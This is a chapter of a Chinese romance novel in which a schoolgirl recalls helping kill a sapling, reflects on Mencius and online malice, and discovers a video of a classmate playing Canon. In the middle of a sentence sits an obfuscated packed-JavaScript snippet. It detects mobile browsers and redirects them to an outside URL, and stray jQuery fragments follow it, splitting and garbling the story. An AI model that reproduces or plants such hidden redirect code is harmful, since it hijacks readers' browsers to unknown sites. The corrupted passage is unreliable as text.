大概在她上小学一二年级的时候,有一回暑假回外婆家待了几天。
楼下小区新栽了两棵树苗,高度一米五六,树身比她的手臂还要细,还是一株幼苗。
小区里有两个跟她差不多大的玩伴,有一天三个人在楼下捡了根枯黄色的软竹条。
竹条又细又软,看着不怎么样,但真正打在身上那就疼得厉害。
是大人专门用来教训家里那些调皮的小孩的。
其中有个小男孩挥舞着竹条,幻想自己是武侠片里剑法以入化境,脚底步步生莲的盖世高人。
没想到不小心碰到边上的幼树,“欻”地一下把树皮劈出一条口子,树皮下的木质部又白又嫩。
枫晓无意识地伸手去碰那道口子,湿漉漉的,像透明的“血”。
望着“血淋淋”的伤口,枫晓当时眼皮忍不住地跳了一下。
紧接着三个孩子如同看见什么新鲜事儿一样,心中腾起一股莫名的兴奋,两名小男孩握着竹条你一下我一下地重重地抽在幼树身上。
路过的大人见了连忙制止,“你们几个孩子这样迟早会把这棵树打死。”
当时枫晓对生死还没什么概念,把打死一棵树听成跟太阳是从东边升起的这样寻常,心中毫无波澜。
于是过了几天,她从楼上往下看,发现原本那棵树树叶黄的黄掉的掉,原本朝天生长的树枝如今跟垂垂老矣的老人那样拉耸着,一点精气神都没有,差不多已经枯萎了。
按照大人的说法就是——
这棵树已经死了。
主张性善论的孟子说,“仁义礼智非外铄我也,我固有之也。”
孟子认为人与动物的区别在于人有与生俱来的四种美好品德,即仁、义、礼和智。
而针对幼树之死这件事,据她所了解,那两个男孩从小就是别人口中的好孩子。
讲义气,有礼貌,会读书,但面对一棵树的生命的时候,却都不约而同地举起了手中的竹条,在最灿烂天真的年纪夺走了一棵树的生命,并对此毫无感触,仍然继续做着大人眼里的好孩子。
而她自己又有什么不一样呢?年幼的她面对他们亲手杀死的一条生命时,竟然没有阻止,而最可怕的是她听见大人的劝告时,心中竟然毫无波澜。
只有等到长大了些,无意间看到有关人性善恶的思考后才后知后觉,反应过来的时候后背已经蒙了一层厚沉的汗。
她难道真如孟子所说那样本性纯善吗?
伴随着年龄的增长,受到家庭环境、学校教育和社会督促所影响,所以才让她变得明是非辨曲直。
她在不断地学会思考中,懂得了青少年应当认真学习认真思考,明白事情的多面性,学会判断事情的正确与否,而不是偏听偏信盲从盲信。
表面上,人们有着道德礼法的约束从而不敢明目张胆地做出恶的行为。
而在网络上,大家隔着手机屏幕,隐藏在一个个不同的ip地址背后,就肆无忌惮地散播着自己内心的恶意。
更可怕的是,散播恶意的人也许永远都意识不到自己不负责任的言行举止充满着多大的恶意。
虽然自己和陈漾现在还只是普通的部门共事关系,连同班同学都不是,但枫晓相信他不是这样的人。
这个人虽然性格是有点缺陷,不爱说话,说话别人不爱听,还自大,狂妄,不懂体贴,心眼小,记仇,有仇当场报,还喜欢挖苦别人。
但她知道他一定不是那些人嘴里说的那样恶劣,因为再怎么恶劣也一定恶不过他们。
她退出软件,打算休息的时候,手机上方突然显示一个“有新朋友请求添加您为好友”的消息弹窗。
新朋友?
枫晓疑惑着点了进去,是一个叫“青色”的男生,好友来源显示账号查找。
资料背景很干净,几乎找不出什么有价值的线索,只有一条个性签名,内容是“重读一本书不会有新的结局,但会有新的感悟。”
枫晓不禁微微皱起眉。
难道是班长江天明?
这样一板一眼的风格她只能想到这一个人,但大半夜的江天明突然加她做什么?
带着这样的疑惑,枫晓点了同意。
那边没有立马回复说明来意,枫晓又再次点到他的资料卡去看,结果在最下面看到空间动态显示的三个视频。
奇怪。
第一个视频的背景怎么好像有点眼熟。
她很少对别人的事情感兴趣,包括现在列表里四十多个好友,除了好朋友庚亚外,她从来没有主动点进过任何一个人空间。
因为不感兴趣,对别人是个什么样的人、发生了什么事情,在吐槽什么,她都显得格外地兴致缺缺。
唯独这一次,熟悉的身影如一个黑洞,不知不觉把她的思绪卷了进去。
好奇心驱使下,她鬼使神差般点进了对方的空间。
最新的一条动态分享时间是十月五号。
浏览量少得可怜,发了这么久才十几个,点赞和评论都只有一个人,一个叫“鲁迅门前的两棵树”疯狂留言。
[又去哪里了?]
[我靠靠靠好帅好帅!]
[什么时候打lol?]
[刀塔来不来?]
[哥们有人造你谣管不管??!!]
[别怪哥们没提醒你,再不管管你清白就要没了!]
无一例外,这个账号的主人一个字都没回复,说不定压根是连动态消息都没看。
枫晓猛地想起来了,这不是外婆家旁边那个孤儿院吗???
她明白了,她什么都明白了。
拍摄视频的人没有露脸,只是怀中抱着吉他,骨感十足的手指灵巧地拨弄琴弦。
alexanderwang的短袖白t搭配着黑色阔腿工装裤,身后是一片巨大的树冠绿影,阳光透过树叶间隙洒下一片斑驳阴影,树冠下是水泥板,若仔细一看,身后的水泥板上坐着一个穿粉色裙子的女孩。
微躬着腰,手里抱了本书,摊开放在膝盖上,一双细嫩的小腿在空中晃啊晃。
偶有微风吹来,树冠在空中轻缓地摇动。一个个悦耳的音符从他的指尖蹦了出来,身后的女孩安静地低头看书,好一副岁月静好的模样。
这个人不就是陈漾吗?!
而身后的那个看不太清身影的小女孩正是枫晓本人。
他什么时候录的,为什么她半点儿印象都没有!
他弹的曲子是卡农,说来也很奇怪,不是说音乐最能反应一个人的内心世界,为什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493617|138100||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么陈漾这种看上去无情无欲的人,当她戴着耳机躲在被窝里听他弹奏卡农的时候,却感觉满屏都溢出了温暖和爱意。
想到这枫晓的心不由自主地颤了下,脸颊慢慢烧起来,胸腔变得剧烈地上下起伏,被窝里温度骤升。
她再也撑不住了,一把掀开被窝,新鲜冰凉的空气如流水般包围着她,枫晓张开嘴大口大口地呼吸着,这才觉得自己活过来了。
“你怎么了?没事吧?”睡她斜对面的也偷偷玩手机的江柳注意到她的动静关切问道。
“嗯?怎么回事?”
“怎么了?”
丁程和易子琳也支起身询问道。
“我没事,刚才在憋气,有点缺氧了。”
江柳:“你无缘无故憋气干嘛?”
枫晓说:“治失眠来着。”
她真没胡说,适当憋气的同时用力翻白眼,模拟昏阙的状态,针对失眠有一定疗效。
宿舍其他三人:......
这是什么小众的自残行为。
她深呼吸了几次,索性摘掉耳机,把手机塞回枕头底下。
然后侧躺着,耳朵紧贴枕头,居然能够听见自己“砰砰”剧烈跳动的心跳。
完蛋,她该不会要猝死了吧。
大好年华,她觉得自己尚且年轻,未来无限美好,不想这么早早就死掉。
枫晓紧闭着眼,强迫快些入睡。
第二天早自习的时候,从后门进到教室,经过过道的时候黑秋吧吓了一跳:“我靠你昨晚是睡得有多晚?!”
枫晓算着自己应该是十二点之前睡的,就是罕见地没睡好,整整一晚上半睡半醒,直到第二天早上醒来发现眼睛有点浮肿。
在学校大多数时间是平淡且无聊的,上课老师在台上唾液乱飞,底下的同学瞌睡连天。
当然瞌睡也仅仅是指小部分人,比如周茂思。
康兴锋的课很少有人敢睡觉,毕竟他是班主任,谁要是睡觉那就是不想活了。其他课他就看心情挑选随机英雄。
有的老师讲课语速缓慢语调平和,适合睡觉。
有的老师慷慨激昂,把讲台当作大舞台,他站在上面就像一个演说家,这样的课适合看课外书。
还有的老师喜欢上课提问,这时候就不太适合开小差,不过周茂思不同,因为他旁边是江柳。
江柳就跟他的狗腿子一样,自习课替他打掩护,正常上课也替他打掩护,包括老师讲第几页,第几题,答案是什么,完事后两人狼狈为奸地在底下偷偷笑。
江柳的心思用一句话来形容就是司马昭之心人尽皆知,但周茂思本人似乎就不这样以为。
他常说:“你们这群人真的是,哎呀我都不想说你们,我跟她是革命友谊,懂不懂,别拿你们那些凡人的思维来揣测我。”
枫晓就在想,说者无意听者有心,江柳听见了就不难过么?
但很快她就明白是自己想多了,江柳也是个缺心眼儿,大概是觉得,革命友谊诶,很难得的,你看除了我还有谁跟他是革命友谊?
所以每次周茂思辟谣的时候,她都跟个大傻子一样在旁边笑得乐呵,“革命友谊不容你们亵渎。”
于是枫晓又发现了她的一个优点,她拥有一颗很崭新的脑子。